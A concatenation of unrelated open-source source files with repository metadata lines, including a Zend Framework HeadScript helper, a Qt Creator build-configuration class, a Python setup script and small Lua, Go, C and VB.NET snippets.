assertSplit("some.host:1234|dbtest", "some.host", 1234, "dbtest", false)
}
| y-trudeau/mysqlgoutils | mysqlUtils_test.go | GO | gpl-3.0 | 2,834 |
#
# Copyright (c) 2013 Christopher L. Felton
#
# This program is free software: you can redistribute it and/or modify
# it under the terms of the GNU Lesser General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU Lesser General Public License for more details.
#
# You should have received a copy of the GNU Lesser General Public License
# along with this program. If not, see <http://www.gnu.org/licenses/>.
try:
from setuptools import setup
from setuptools import find_packages
except ImportError:
from distutils.core import setup
from pkgutil import walk_packages
import mn
# many pypy installs don't have setuptools (?)
def _find_packages(path='.', prefix=''):
yield prefix
prefix = prefix + "."
for _, name, ispkg in walk_packages(path,
prefix,
onerror=lambda x: x):
if ispkg:
yield name
def find_packages():
return list(_find_packages(mn.__path__, mn.__name__))
setup(name = "minnesota",
version = "0.1pre",
description = "collection of HDL cores ",
license = "LGPL",
platforms = ["Any"],
keywords = "DSP HDL MyHDL FPGA FX2 USB",
packages = find_packages(),
# @todo need to add the examples and test directories,
# copy it over ...
)
| cfelton/minnesota | setup.py | Python | gpl-3.0 | 1,770 |
/* FILE GeneticOperations.hh
** PACKAGE GeneticOperations
** AUTHOR Edward S. Blurock
**
** CONTENT
** Prototypes for the "GeneticOperations" package in the CoreObjects environment
**
** COPYRIGHT (C) 1997 Edward S. Blurock
*/
#ifndef CoreObjects_GENETICOPERATIONS_HH
#define CoreObjects_GENETICOPERATIONS_HH
#define GENETIC_DISTRIBUTION_ID GENETIC_BASE + 2
#define GENETIC_DISTRIBUTION_NAME "GeneticDistribution"
#define GENETIC_STDDEV_ID GENETIC_BASE + 3
#define GENETIC_STDDEV_NAME "GeneticStdDev"
#define GENETIC_INTERVAL_ID GENETIC_BASE + 4
#define GENETIC_INTERVAL_NAME "GeneticInterval"
#define GENETIC_CONSTANT_ID GENETIC_BASE + 6
#define GENETIC_CONSTANT_NAME "GeneticConstant"
#define GENETIC_SETOFPARAMS_ID GENETIC_BASE + 5
#define GENETIC_SETOFPARAMS_NAME "GeneticSetOfParameters"
#define SET_NAME1 "C1"
#define SET_NAME2 "C2"
/*I . . . INCLUDES . . . . . . . . . . . . . . . . . . . . . . . . . . . .
*/
#include "GeneticOperationsType.hh"
/*P . . . PROTOTYPES . . . . . . . . . . . . . . . . . . . . . . . . . . .
*/
extern void InitialGeneticEncodeDecodeRoutines();
void AddGeneticClasses(DataSetOfObjectsClass& set);
BaseDataSetOfObjects *PairSet(DataObjectClass *popobjectbase);
#endif
| blurock/AnalysisDevelop | GeneticOperations/include/CoreObjects/GeneticOperations.hh | C++ | gpl-3.0 | 1,353 |
<?php
/**
* Zend Framework
*
* LICENSE
*
* This source file is subject to the new BSD license that is bundled
* with this package in the file LICENSE.txt.
* It is also available through the world-wide-web at this URL:
* http://framework.zend.com/license/new-bsd
* If you did not receive a copy of the license and are unable to
* obtain it through the world-wide-web, please send an email
* to [email protected] so we can send you a copy immediately.
*
* @category Zend
* @package Zend_View
* @subpackage Helper
* @copyright Copyright (c) 2005-2011 Zend Technologies USA Inc. (http://www.zend.com)
* @version $Id: HeadScript.php 23775 2011-03-01 17:25:24Z ralph $
* @license http://framework.zend.com/license/new-bsd New BSD License
*/
/** Zend_View_Helper_Placeholder_Container_Standalone */
require_once 'Zend/View/Helper/Placeholder/Container/Standalone.php';
/**
* Helper for setting and retrieving script elements for HTML head section
*
* @uses Zend_View_Helper_Placeholder_Container_Standalone
* @package Zend_View
* @subpackage Helper
* @copyright Copyright (c) 2005-2011 Zend Technologies USA Inc. (http://www.zend.com)
* @license http://framework.zend.com/license/new-bsd New BSD License
*/
class Zend_View_Helper_HeadScript extends Zend_View_Helper_Placeholder_Container_Standalone
{
/**#@+
* Script type contants
* @const string
*/
const FILE = 'FILE';
const SCRIPT = 'SCRIPT';
/**#@-*/
/**
* Registry key for placeholder
* @var string
*/
protected $_regKey = 'Zend_View_Helper_HeadScript';
/**
* Are arbitrary attributes allowed?
* @var bool
*/
protected $_arbitraryAttributes = false;
/**#@+
* Capture type and/or attributes (used for hinting during capture)
* @var string
*/
protected $_captureLock;
protected $_captureScriptType = null;
protected $_captureScriptAttrs = null;
protected $_captureType;
/**#@-*/
/**
* Optional allowed attributes for script tag
* @var array
*/
protected $_optionalAttributes = array('charset', 'defer', 'language',
'src');
/**
* Required attributes for script tag
* @var string
*/
protected $_requiredAttributes = array('type');
/**
* Whether or not to format scripts using CDATA; used only if doctype
* helper is not accessible
* @var bool
*/
public $useCdata = false;
/**
* Constructor
*
* Set separator to PHP_EOL.
*
* @return void
*/
public function __construct ()
{
parent::__construct();
$this->setSeparator(PHP_EOL);
}
/**
* Return headScript object
*
* Returns headScript helper object; optionally, allows specifying a script
* or script file to include.
*
* @param string $mode Script or file
* @param string $spec Script/url
* @param string $placement Append, prepend, or set
* @param array $attrs Array of script attributes
* @param string $type Script type and/or array of script attributes
* @return Zend_View_Helper_HeadScript
*/
public function headScript ($mode = Zend_View_Helper_HeadScript::FILE, $spec = null, $placement = 'APPEND',
array $attrs = array(), $type = 'text/javascript')
{
if ((null !== $spec) && is_string($spec)) {
$action = ucfirst(strtolower($mode));
$placement = strtolower($placement);
switch ($placement) {
case 'set':
case 'prepend':
case 'append':
$action = $placement . $action;
break;
default:
$action = 'append' . $action;
break;
}
$this->$action($spec, $type, $attrs);
}
return $this;
}
/**
* Start capture action
*
* @param mixed $captureType
* @param string $typeOrAttrs
* @return void
*/
public function captureStart (
$captureType = Zend_View_Helper_Placeholder_Container_Abstract::APPEND, $type = 'text/javascript', $attrs = array())
{
if ($this->_captureLock) {
require_once 'Zend/View/Helper/Placeholder/Container/Exception.php';
$e = new Zend_View_Helper_Placeholder_Container_Exception(
'Cannot nest headScript captures');
$e->setView($this->view);
throw $e;
}
$this->_captureLock = true;
$this->_captureType = $captureType;
$this->_captureScriptType = $type;
$this->_captureScriptAttrs = $attrs;
ob_start();
}
/**
* End capture action and store
*
* @return void
*/
public function captureEnd ()
{
$content = ob_get_clean();
$type = $this->_captureScriptType;
$attrs = $this->_captureScriptAttrs;
$this->_captureScriptType = null;
$this->_captureScriptAttrs = null;
$this->_captureLock = false;
switch ($this->_captureType) {
case Zend_View_Helper_Placeholder_Container_Abstract::SET:
case Zend_View_Helper_Placeholder_Container_Abstract::PREPEND:
case Zend_View_Helper_Placeholder_Container_Abstract::APPEND:
$action = strtolower($this->_captureType) . 'Script';
break;
default:
$action = 'appendScript';
break;
}
$this->$action($content, $type, $attrs);
}
/**
* Overload method access
*
* Allows the following method calls:
* - appendFile($src, $type = 'text/javascript', $attrs = array())
* - offsetSetFile($index, $src, $type = 'text/javascript', $attrs = array())
* - prependFile($src, $type = 'text/javascript', $attrs = array())
* - setFile($src, $type = 'text/javascript', $attrs = array())
* - appendScript($script, $type = 'text/javascript', $attrs = array())
* - offsetSetScript($index, $src, $type = 'text/javascript', $attrs = array())
* - prependScript($script, $type = 'text/javascript', $attrs = array())
* - setScript($script, $type = 'text/javascript', $attrs = array())
*
* @param string $method
* @param array $args
* @return Zend_View_Helper_HeadScript
* @throws Zend_View_Exception if too few arguments or invalid method
*/
public function __call ($method, $args)
{
if (preg_match(
'/^(?P<action>set|(ap|pre)pend|offsetSet)(?P<mode>File|Script)$/',
$method, $matches)) {
if (1 > count($args)) {
require_once 'Zend/View/Exception.php';
$e = new Zend_View_Exception(
sprintf('Method "%s" requires at least one argument', $method));
$e->setView($this->view);
throw $e;
}
$action = $matches['action'];
$mode = strtolower($matches['mode']);
$type = 'text/javascript';
$attrs = array();
if ('offsetSet' == $action) {
$index = array_shift($args);
if (1 > count($args)) {
require_once 'Zend/View/Exception.php';
$e = new Zend_View_Exception(
sprintf(
'Method "%s" requires at least two arguments, an index and source',
$method));
$e->setView($this->view);
throw $e;
}
}
$content = $args[0];
if (isset($args[1])) {
$type = (string) $args[1];
}
if (isset($args[2])) {
$attrs = (array) $args[2];
}
switch ($mode) {
case 'script':
$item = $this->createData($type, $attrs, $content);
if ('offsetSet' == $action) {
$this->offsetSet($index, $item);
} else {
$this->$action($item);
}
break;
case 'file':
default:
if (! $this->_isDuplicate($content)) {
$attrs['src'] = $content;
$item = $this->createData($type, $attrs);
if ('offsetSet' == $action) {
$this->offsetSet($index, $item);
} else {
$this->$action($item);
}
}
break;
}
return $this;
}
return parent::__call($method, $args);
}
/**
* Is the file specified a duplicate?
*
* @param string $file
* @return bool
*/
protected function _isDuplicate ($file)
{
foreach ($this->getContainer() as $item) {
if (($item->source === null) &&
array_key_exists('src', $item->attributes) &&
($file == $item->attributes['src'])) {
return true;
}
}
return false;
}
/**
* Is the script provided valid?
*
* @param mixed $value
* @param string $method
* @return bool
*/
protected function _isValid ($value)
{
if ((! $value instanceof stdClass) || ! isset($value->type) ||
(! isset($value->source) && ! isset($value->attributes))) {
return false;
}
return true;
}
/**
* Override append
*
* @param string $value
* @return void
*/
public function append ($value)
{
if (! $this->_isValid($value)) {
require_once 'Zend/View/Exception.php';
$e = new Zend_View_Exception(
'Invalid argument passed to append(); please use one of the helper methods, appendScript() or appendFile()');
$e->setView($this->view);
throw $e;
}
return $this->getContainer()->append($value);
}
/**
* Override prepend
*
* @param string $value
* @return void
*/
public function prepend ($value)
{
if (! $this->_isValid($value)) {
require_once 'Zend/View/Exception.php';
$e = new Zend_View_Exception(
'Invalid argument passed to prepend(); please use one of the helper methods, prependScript() or prependFile()');
$e->setView($this->view);
throw $e;
}
return $this->getContainer()->prepend($value);
}
/**
* Override set
*
* @param string $value
* @return void
*/
public function set ($value)
{
if (! $this->_isValid($value)) {
require_once 'Zend/View/Exception.php';
$e = new Zend_View_Exception(
'Invalid argument passed to set(); please use one of the helper methods, setScript() or setFile()');
$e->setView($this->view);
throw $e;
}
return $this->getContainer()->set($value);
}
/**
* Override offsetSet
*
* @param string|int $index
* @param mixed $value
* @return void
*/
public function offsetSet ($index, $value)
{
if (! $this->_isValid($value)) {
require_once 'Zend/View/Exception.php';
$e = new Zend_View_Exception(
'Invalid argument passed to offsetSet(); please use one of the helper methods, offsetSetScript() or offsetSetFile()');
$e->setView($this->view);
throw $e;
}
return $this->getContainer()->offsetSet($index, $value);
}
/**
* Set flag indicating if arbitrary attributes are allowed
*
* @param bool $flag
* @return Zend_View_Helper_HeadScript
*/
public function setAllowArbitraryAttributes ($flag)
{
$this->_arbitraryAttributes = (bool) $flag;
return $this;
}
/**
* Are arbitrary attributes allowed?
*
* @return bool
*/
public function arbitraryAttributesAllowed ()
{
return $this->_arbitraryAttributes;
}
/**
* Create script HTML
*
* @param string $type
* @param array $attributes
* @param string $content
* @param string|int $indent
* @return string
*/
public function itemToString ($item, $indent, $escapeStart, $escapeEnd)
{
$attrString = '';
if (! empty($item->attributes)) {
foreach ($item->attributes as $key => $value) {
if (! $this->arbitraryAttributesAllowed() &&
! in_array($key, $this->_optionalAttributes)) {
continue;
}
if ('defer' == $key) {
$value = 'defer';
}
$attrString .= sprintf(' %s="%s"', $key,
($this->_autoEscape) ? $this->_escape($value) : $value);
}
}
$type = ($this->_autoEscape) ? $this->_escape($item->type) : $item->type;
$html = '<script type="' . $type . '"' . $attrString . '>';
if (! empty($item->source)) {
$html .= PHP_EOL . $indent . ' ' . $escapeStart . PHP_EOL .
$item->source . $indent . ' ' . $escapeEnd . PHP_EOL . $indent;
}
$html .= '</script>';
if (isset($item->attributes['conditional']) &&
! empty($item->attributes['conditional']) &&
is_string($item->attributes['conditional'])) {
$html = $indent . '<!--[if ' . $item->attributes['conditional'] .
']> ' . $html . '<![endif]-->';
} else {
$html = $indent . $html;
}
return $html;
}
/**
* Retrieve string representation
*
* @param string|int $indent
* @return string
*/
public function toString ($indent = null)
{
$indent = (null !== $indent) ? $this->getWhitespace($indent) : $this->getIndent();
if ($this->view) {
$useCdata = $this->view->doctype()->isXhtml() ? true : false;
} else {
$useCdata = $this->useCdata ? true : false;
}
$escapeStart = ($useCdata) ? '//<![CDATA[' : '//<!--';
$escapeEnd = ($useCdata) ? '//]]>' : '//-->';
$items = array();
$this->getContainer()->ksort();
foreach ($this as $item) {
if (! $this->_isValid($item)) {
continue;
}
$items[] = $this->itemToString($item, $indent, $escapeStart,
$escapeEnd);
}
$return = implode($this->getSeparator(), $items);
return $return;
}
/**
* Create data item containing all necessary components of script
*
* @param string $type
* @param array $attributes
* @param string $content
* @return stdClass
*/
public function createData ($type, array $attributes, $content = null)
{
$data = new stdClass();
$data->type = $type;
$data->attributes = $attributes;
$data->source = $content;
return $data;
}
}
| abueldahab/medalyser | library/Zend/View/Helper/HeadScript.php | PHP | gpl-3.0 | 15,547 |
function onStepIn(cid, item, pos)
if getPlayerStandageValue(cid,10001) == 1 and getPlayerStandageValue(cid,10002) == 1 and getPlayerStandageValue(cid,10003) == 1 and getPlayerStandageValue(cid,10004) == 1 and getPlayerStandageValue(cid,10005) == 1 and getPlayerStandageValue(cid,10006) == 1 and getPlayerStandageValue(cid,10007) == 1 and getPlayerStandageValue(cid,10008) == 1 then
setPlayerStorageValue(cid,83422,1)
end | Giorox/AngelionOT-Repo | data/movements/scripts/poilast.lua | Lua | gpl-3.0 | 444 |
<?php
namespace Minsal\ModeloBundle\DependencyInjection;
use Symfony\Component\DependencyInjection\ContainerBuilder;
use Symfony\Component\Config\FileLocator;
use Symfony\Component\HttpKernel\DependencyInjection\Extension;
use Symfony\Component\DependencyInjection\Loader;
/**
* This is the class that loads and manages your bundle configuration.
*
* @link http://symfony.com/doc/current/cookbook/bundles/extension.html
*/
class MinsalModeloExtension extends Extension
{
/**
* {@inheritdoc}
*/
public function load(array $configs, ContainerBuilder $container)
{
$configuration = new Configuration();
$config = $this->processConfiguration($configuration, $configs);
$loader = new Loader\YamlFileLoader($container, new FileLocator(__DIR__.'/../Resources/config'));
$loader->load('services.yml');
}
}
| wilxsv/contratos | src/Minsal/ModeloBundle/DependencyInjection/MinsalModeloExtension.php | PHP | gpl-3.0 | 864 |
# Name
Aswin M Guptha
### Academics
BTech CSE from [Amrita University](https://www.amrita.edu)
### Projects
[My Projects](https://www.github.com/aswinmguptha)
Links to my projects
### Profile Link
[GitHub](https://github.com/aswinmguptha)
[GitLab](https://gitlab.com/aswinmguptha)
[Twitter](https://twitter.com/aswinmguptha)
| AliceWonderland/hacktoberfest | profiles/Aswin_M_Guptha.md | Markdown | gpl-3.0 | 326 |
/* Copyright (C) 2012-2014 Carlos Pais
*
* This program is free software: you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation, either version 3 of the License, or
* (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with this program. If not, see <http://www.gnu.org/licenses/>.
*/
#include "get_user_input.h"
#include <QTextCodec>
GetUserInput::GetUserInput(QObject *parent) :
Action(parent)
{
init();
}
GetUserInput::GetUserInput(const QVariantMap& data, QObject *parent):
Action(data, parent)
{
init();
loadInternal(data);
}
void GetUserInput::init()
{
setType(GameObjectMetaType::GetUserInput);
}
void GetUserInput::loadData(const QVariantMap & data, bool internal)
{
if (!internal)
Action::loadData(data, internal);
if (data.contains("message") && data.value("message").type() == QVariant::String)
setMessage(data.value("message").toString());
if (data.contains("variable") && data.value("variable").type() == QVariant::String)
setVariable(data.value("variable").toString());
if (data.contains("defaultValue") && data.value("defaultValue").type() == QVariant::String)
setDefaultValue(data.value("defaultValue").toString());
}
QString GetUserInput::variable()
{
return mVariable;
}
void GetUserInput::setVariable(const QString & var)
{
if (var != mVariable) {
mVariable = var;
notify("variable", mVariable);
}
}
QString GetUserInput::message()
{
return mMessage;
}
void GetUserInput::setMessage(const QString & msg)
{
if (msg != mMessage) {
mMessage = msg;
notify("message", mMessage);
}
}
QString GetUserInput::defaultValue()
{
return mDefaultValue;
}
void GetUserInput::setDefaultValue(const QString & value)
{
if (value != mDefaultValue) {
mDefaultValue = value;
notify("defaultValue", mDefaultValue);
}
}
QString GetUserInput::displayText() const
{
QString var("");
QString text(tr("Prompt") + " ");
text += QString("\"%1\"").arg(mMessage);
if (mVariable.size())
var = " " + tr("and store reply in") + " $" + mVariable;
text += var;
return text;
}
QVariantMap GetUserInput::toJsonObject(bool internal) const
{
QVariantMap object = Action::toJsonObject(internal);
QTextCodec *codec = QTextCodec::codecForName("UTF-8");
if (! codec)
codec = QTextCodec::codecForLocale();
object.insert("message", mMessage);
object.insert("variable", mVariable);
object.insert("defaultValue", mDefaultValue);
return object;
}
| fr33mind/Belle | editor/actions/get_user_input.cpp | C++ | gpl-3.0 | 2,974 |
#include<stdio.h>
#include<big_integer.h>
#include<string.h>
#include<time.h>
#include"gen_lib.h"
int main(int argc,char** argv)
{
if(argc<3)
{
printf("usage %s <length> <num> \n",argv[0]);
exit(-1);
}
FILE* bash=fopen("bash.dat","w+");
FILE* python=fopen("py.dat","w+");
int length=atoi(argv[1]);
int num=atoi(argv[2]);
srand(time(NULL));
set_exe_name("");
gen_cmp(bash,python,length,num);
fwrite("\nquit\n",1,strlen("\nquit"),bash);
fclose(bash);
fclose(python);
return 0;
}
| NosicLin/Codger | src/rtype_v3.0/debug/gen_cmp2.c | C | gpl-3.0 | 504 |
Imports System.Globalization
Imports P3D.Legacy.Core.Screens
Namespace ScriptVersion2
Partial Class ScriptComparer
'--------------------------------------------------------------------------------------------------------------------------
'Contains the <environment> constructs.
'--------------------------------------------------------------------------------------------------------------------------
Private Shared Function DoEnvironment(ByVal subClass As String) As Object
Dim command As String = GetSubClassArgumentPair(subClass).Command
Dim argument As String = GetSubClassArgumentPair(subClass).Argument
Select Case command.ToLower()
Case "daytime"
Return World.GetTime.ToString(CultureInfo.InvariantCulture)
Case "daytimeid"
Return int(CInt(World.GetTime)).ToString(CultureInfo.InvariantCulture)
Case "season"
Return World.CurrentSeason.ToString(CultureInfo.InvariantCulture)
Case "seasonid"
Return int(CInt(World.CurrentSeason)).ToString(CultureInfo.InvariantCulture)
Case "day"
Return My.Computer.Clock.LocalTime.DayOfWeek.ToString(CultureInfo.InvariantCulture)
Case "dayofyear"
Return My.Computer.Clock.LocalTime.DayOfYear().ToString(CultureInfo.InvariantCulture)
Case "dayinformation"
Return My.Computer.Clock.LocalTime.DayOfWeek.ToString(CultureInfo.InvariantCulture) & "," & World.GetTime.ToString(CultureInfo.InvariantCulture)
Case "week"
Return World.WeekOfYear.ToString(CultureInfo.InvariantCulture)
Case "hour"
Return My.Computer.Clock.LocalTime.Hour.ToString(CultureInfo.InvariantCulture)
Case "year"
Return My.Computer.Clock.LocalTime.Year.ToString(CultureInfo.InvariantCulture)
Case "weather", "mapweather", "currentmapweather"
Return Screen.Level.World.CurrentWeather.ToString(CultureInfo.InvariantCulture)
Case "weatherid", "mapweatherid", "currentmapweatherid"
Return int(CInt(Screen.Level.World.CurrentWeather)).ToString(CultureInfo.InvariantCulture)
Case "regionweather"
Return World.GetCurrentRegionWeather().ToString(CultureInfo.InvariantCulture)
Case "regionweatherid"
Return int(CInt(World.GetCurrentRegionWeather())).ToString(CultureInfo.InvariantCulture)
Case "canfly"
Return ReturnBoolean(Screen.Level.CanFly)
Case "candig"
Return ReturnBoolean(Screen.Level.CanDig)
Case "canteleport"
Return ReturnBoolean(Screen.Level.CanTeleport)
Case "wildpokemongrass"
Return ReturnBoolean(Screen.Level.WildPokemonGrass)
Case "wildpokemonwater"
Return ReturnBoolean(Screen.Level.WildPokemonWater)
Case "wildpokemoneverywhere"
Return ReturnBoolean(Screen.Level.WildPokemonFloor)
Case "isdark"
Return ReturnBoolean(Screen.Level.IsDark)
End Select
Return DEFAULTNULL
End Function
End Class
End Namespace | P3D-Legacy/P3D-Legacy-CSharp | 2.5DHero/2.5DHero/World/ActionScript/V2/ScriptConstructs/DoEnvironment.vb | Visual Basic | gpl-3.0 | 3,495 |
/****************************************************************************
**
** Copyright (C) 2016 The Qt Company Ltd.
** Contact: https://www.qt.io/licensing/
**
** This file is part of Qt Creator.
**
** Commercial License Usage
** Licensees holding valid commercial Qt licenses may use this file in
** accordance with the commercial license agreement provided with the
** Software or, alternatively, in accordance with the terms contained in
** a written agreement between you and The Qt Company. For licensing terms
** and conditions see https://www.qt.io/terms-conditions. For further
** information use the contact form at https://www.qt.io/contact-us.
**
** GNU General Public License Usage
** Alternatively, this file may be used under the terms of the GNU
** General Public License version 3 as published by the Free Software
** Foundation with exceptions as appearing in the file LICENSE.GPL3-EXCEPT
** included in the packaging of this file. Please review the following
** information to ensure the GNU General Public License requirements will
** be met: https://www.gnu.org/licenses/gpl-3.0.html.
**
****************************************************************************/
#include "buildconfiguration.h"
#include "buildenvironmentwidget.h"
#include "buildinfo.h"
#include "buildsteplist.h"
#include "kit.h"
#include "kitinformation.h"
#include "kitmanager.h"
#include "project.h"
#include "projectexplorer.h"
#include "projectexplorerconstants.h"
#include "projectmacroexpander.h"
#include "projecttree.h"
#include "target.h"
#include <coreplugin/idocument.h>
#include <utils/qtcassert.h>
#include <utils/macroexpander.h>
#include <utils/algorithm.h>
#include <utils/mimetypes/mimetype.h>
#include <utils/mimetypes/mimedatabase.h>
#include <QDebug>
static const char BUILD_STEP_LIST_COUNT[] = "ProjectExplorer.BuildConfiguration.BuildStepListCount";
static const char BUILD_STEP_LIST_PREFIX[] = "ProjectExplorer.BuildConfiguration.BuildStepList.";
static const char CLEAR_SYSTEM_ENVIRONMENT_KEY[] = "ProjectExplorer.BuildConfiguration.ClearSystemEnvironment";
static const char USER_ENVIRONMENT_CHANGES_KEY[] = "ProjectExplorer.BuildConfiguration.UserEnvironmentChanges";
static const char BUILDDIRECTORY_KEY[] = "ProjectExplorer.BuildConfiguration.BuildDirectory";
namespace ProjectExplorer {
BuildConfiguration::BuildConfiguration(Target *target, Core::Id id)
: ProjectConfiguration(target, id)
{
Utils::MacroExpander *expander = macroExpander();
expander->setDisplayName(tr("Build Settings"));
expander->setAccumulating(true);
expander->registerSubProvider([target] { return target->macroExpander(); });
expander->registerVariable("buildDir", tr("Build directory"),
[this] { return buildDirectory().toUserOutput(); });
expander->registerVariable(Constants::VAR_CURRENTBUILD_NAME, tr("Name of current build"),
[this] { return displayName(); }, false);
expander->registerPrefix(Constants::VAR_CURRENTBUILD_ENV,
tr("Variables in the current build environment"),
[this](const QString &var) { return environment().value(var); });
updateCacheAndEmitEnvironmentChanged();
connect(target, &Target::kitChanged,
this, &BuildConfiguration::updateCacheAndEmitEnvironmentChanged);
connect(this, &BuildConfiguration::environmentChanged,
this, &BuildConfiguration::emitBuildDirectoryChanged);
// Many macroexpanders are based on the current project, so they may change the environment:
connect(ProjectTree::instance(), &ProjectTree::currentProjectChanged,
this, &BuildConfiguration::updateCacheAndEmitEnvironmentChanged);
}
Utils::FileName BuildConfiguration::buildDirectory() const
{
const QString path = macroExpander()->expand(QDir::cleanPath(environment().expandVariables(m_buildDirectory.toString())));
return Utils::FileName::fromString(QDir::cleanPath(QDir(target()->project()->projectDirectory().toString()).absoluteFilePath(path)));
}
Utils::FileName BuildConfiguration::rawBuildDirectory() const
{
return m_buildDirectory;
}
void BuildConfiguration::setBuildDirectory(const Utils::FileName &dir)
{
if (dir == m_buildDirectory)
return;
m_buildDirectory = dir;
emitBuildDirectoryChanged();
}
void BuildConfiguration::initialize(const BuildInfo *info)
{
setDisplayName(info->displayName);
setDefaultDisplayName(info->displayName);
setBuildDirectory(info->buildDirectory);
m_stepLists.append(new BuildStepList(this, Constants::BUILDSTEPS_BUILD));
m_stepLists.append(new BuildStepList(this, Constants::BUILDSTEPS_CLEAN));
}
QList<NamedWidget *> BuildConfiguration::createSubConfigWidgets()
{
return QList<NamedWidget *>() << new BuildEnvironmentWidget(this);
}
QList<Core::Id> BuildConfiguration::knownStepLists() const
{
return Utils::transform(m_stepLists, &BuildStepList::id);
}
BuildStepList *BuildConfiguration::stepList(Core::Id id) const
{
return Utils::findOrDefault(m_stepLists, Utils::equal(&BuildStepList::id, id));
}
QVariantMap BuildConfiguration::toMap() const
{
QVariantMap map(ProjectConfiguration::toMap());
map.insert(QLatin1String(CLEAR_SYSTEM_ENVIRONMENT_KEY), m_clearSystemEnvironment);
map.insert(QLatin1String(USER_ENVIRONMENT_CHANGES_KEY), Utils::EnvironmentItem::toStringList(m_userEnvironmentChanges));
map.insert(QLatin1String(BUILDDIRECTORY_KEY), m_buildDirectory.toString());
map.insert(QLatin1String(BUILD_STEP_LIST_COUNT), m_stepLists.count());
for (int i = 0; i < m_stepLists.count(); ++i)
map.insert(QLatin1String(BUILD_STEP_LIST_PREFIX) + QString::number(i), m_stepLists.at(i)->toMap());
return map;
}
bool BuildConfiguration::fromMap(const QVariantMap &map)
{
m_clearSystemEnvironment = map.value(QLatin1String(CLEAR_SYSTEM_ENVIRONMENT_KEY)).toBool();
m_userEnvironmentChanges = Utils::EnvironmentItem::fromStringList(map.value(QLatin1String(USER_ENVIRONMENT_CHANGES_KEY)).toStringList());
m_buildDirectory = Utils::FileName::fromString(map.value(QLatin1String(BUILDDIRECTORY_KEY)).toString());
updateCacheAndEmitEnvironmentChanged();
qDeleteAll(m_stepLists);
m_stepLists.clear();
int maxI = map.value(QLatin1String(BUILD_STEP_LIST_COUNT), 0).toInt();
for (int i = 0; i < maxI; ++i) {
QVariantMap data = map.value(QLatin1String(BUILD_STEP_LIST_PREFIX) + QString::number(i)).toMap();
if (data.isEmpty()) {
qWarning() << "No data for build step list" << i << "found!";
continue;
}
auto list = new BuildStepList(this, idFromMap(data));
if (!list->fromMap(data)) {
qWarning() << "Failed to restore build step list" << i;
delete list;
return false;
}
m_stepLists.append(list);
}
// We currently assume there to be at least a clean and build list!
QTC_CHECK(knownStepLists().contains(Core::Id(Constants::BUILDSTEPS_BUILD)));
QTC_CHECK(knownStepLists().contains(Core::Id(Constants::BUILDSTEPS_CLEAN)));
return ProjectConfiguration::fromMap(map);
}
void BuildConfiguration::updateCacheAndEmitEnvironmentChanged()
{
Utils::Environment env = baseEnvironment();
env.modify(userEnvironmentChanges());
if (env == m_cachedEnvironment)
return;
m_cachedEnvironment = env;
emit environmentChanged(); // might trigger buildDirectoryChanged signal!
}
void BuildConfiguration::emitBuildDirectoryChanged()
{
if (buildDirectory() != m_lastEmmitedBuildDirectory) {
m_lastEmmitedBuildDirectory = buildDirectory();
emit buildDirectoryChanged();
}
}
Target *BuildConfiguration::target() const
{
return static_cast<Target *>(parent());
}
Project *BuildConfiguration::project() const
{
return target()->project();
}
Utils::Environment BuildConfiguration::baseEnvironment() const
{
Utils::Environment result;
if (useSystemEnvironment())
result = Utils::Environment::systemEnvironment();
addToEnvironment(result);
target()->kit()->addToEnvironment(result);
return result;
}
QString BuildConfiguration::baseEnvironmentText() const
{
if (useSystemEnvironment())
return tr("System Environment");
else
return tr("Clean Environment");
}
Utils::Environment BuildConfiguration::environment() const
{
return m_cachedEnvironment;
}
void BuildConfiguration::setUseSystemEnvironment(bool b)
{
if (useSystemEnvironment() == b)
return;
m_clearSystemEnvironment = !b;
updateCacheAndEmitEnvironmentChanged();
}
void BuildConfiguration::addToEnvironment(Utils::Environment &env) const
{
Q_UNUSED(env);
}
bool BuildConfiguration::useSystemEnvironment() const
{
return !m_clearSystemEnvironment;
}
QList<Utils::EnvironmentItem> BuildConfiguration::userEnvironmentChanges() const
{
return m_userEnvironmentChanges;
}
void BuildConfiguration::setUserEnvironmentChanges(const QList<Utils::EnvironmentItem> &diff)
{
if (m_userEnvironmentChanges == diff)
return;
m_userEnvironmentChanges = diff;
updateCacheAndEmitEnvironmentChanged();
}
bool BuildConfiguration::isEnabled() const
{
return true;
}
QString BuildConfiguration::disabledReason() const
{
return QString();
}
bool BuildConfiguration::regenerateBuildFiles(Node *node)
{
Q_UNUSED(node);
return false;
}
QString BuildConfiguration::buildTypeName(BuildConfiguration::BuildType type)
{
switch (type) {
case ProjectExplorer::BuildConfiguration::Debug:
return QLatin1String("debug");
case ProjectExplorer::BuildConfiguration::Profile:
return QLatin1String("profile");
case ProjectExplorer::BuildConfiguration::Release:
return QLatin1String("release");
case ProjectExplorer::BuildConfiguration::Unknown: // fallthrough
default:
return QLatin1String("unknown");
}
}
bool BuildConfiguration::isActive() const
{
return target()->isActive() && target()->activeBuildConfiguration() == this;
}
/*!
* Helper function that prepends the directory containing the C++ toolchain to
* PATH. This is used to in build configurations targeting broken build systems
* to provide hints about which compiler to use.
*/
void BuildConfiguration::prependCompilerPathToEnvironment(Utils::Environment &env) const
{
return prependCompilerPathToEnvironment(target()->kit(), env);
}
void BuildConfiguration::prependCompilerPathToEnvironment(Kit *k, Utils::Environment &env)
{
const ToolChain *tc
= ToolChainKitInformation::toolChain(k, ProjectExplorer::Constants::CXX_LANGUAGE_ID);
if (!tc)
return;
const Utils::FileName compilerDir = tc->compilerCommand().parentDir();
if (!compilerDir.isEmpty())
env.prependOrSetPath(compilerDir.toString());
}
///
// IBuildConfigurationFactory
///
static QList<IBuildConfigurationFactory *> g_buildConfigurationFactories;
IBuildConfigurationFactory::IBuildConfigurationFactory()
{
g_buildConfigurationFactories.append(this);
}
IBuildConfigurationFactory::~IBuildConfigurationFactory()
{
g_buildConfigurationFactories.removeOne(this);
}
int IBuildConfigurationFactory::priority(const Target *parent) const
{
return canHandle(parent) ? m_basePriority : -1;
}
bool IBuildConfigurationFactory::supportsTargetDeviceType(Core::Id id) const
{
if (m_supportedTargetDeviceTypes.isEmpty())
return true;
return m_supportedTargetDeviceTypes.contains(id);
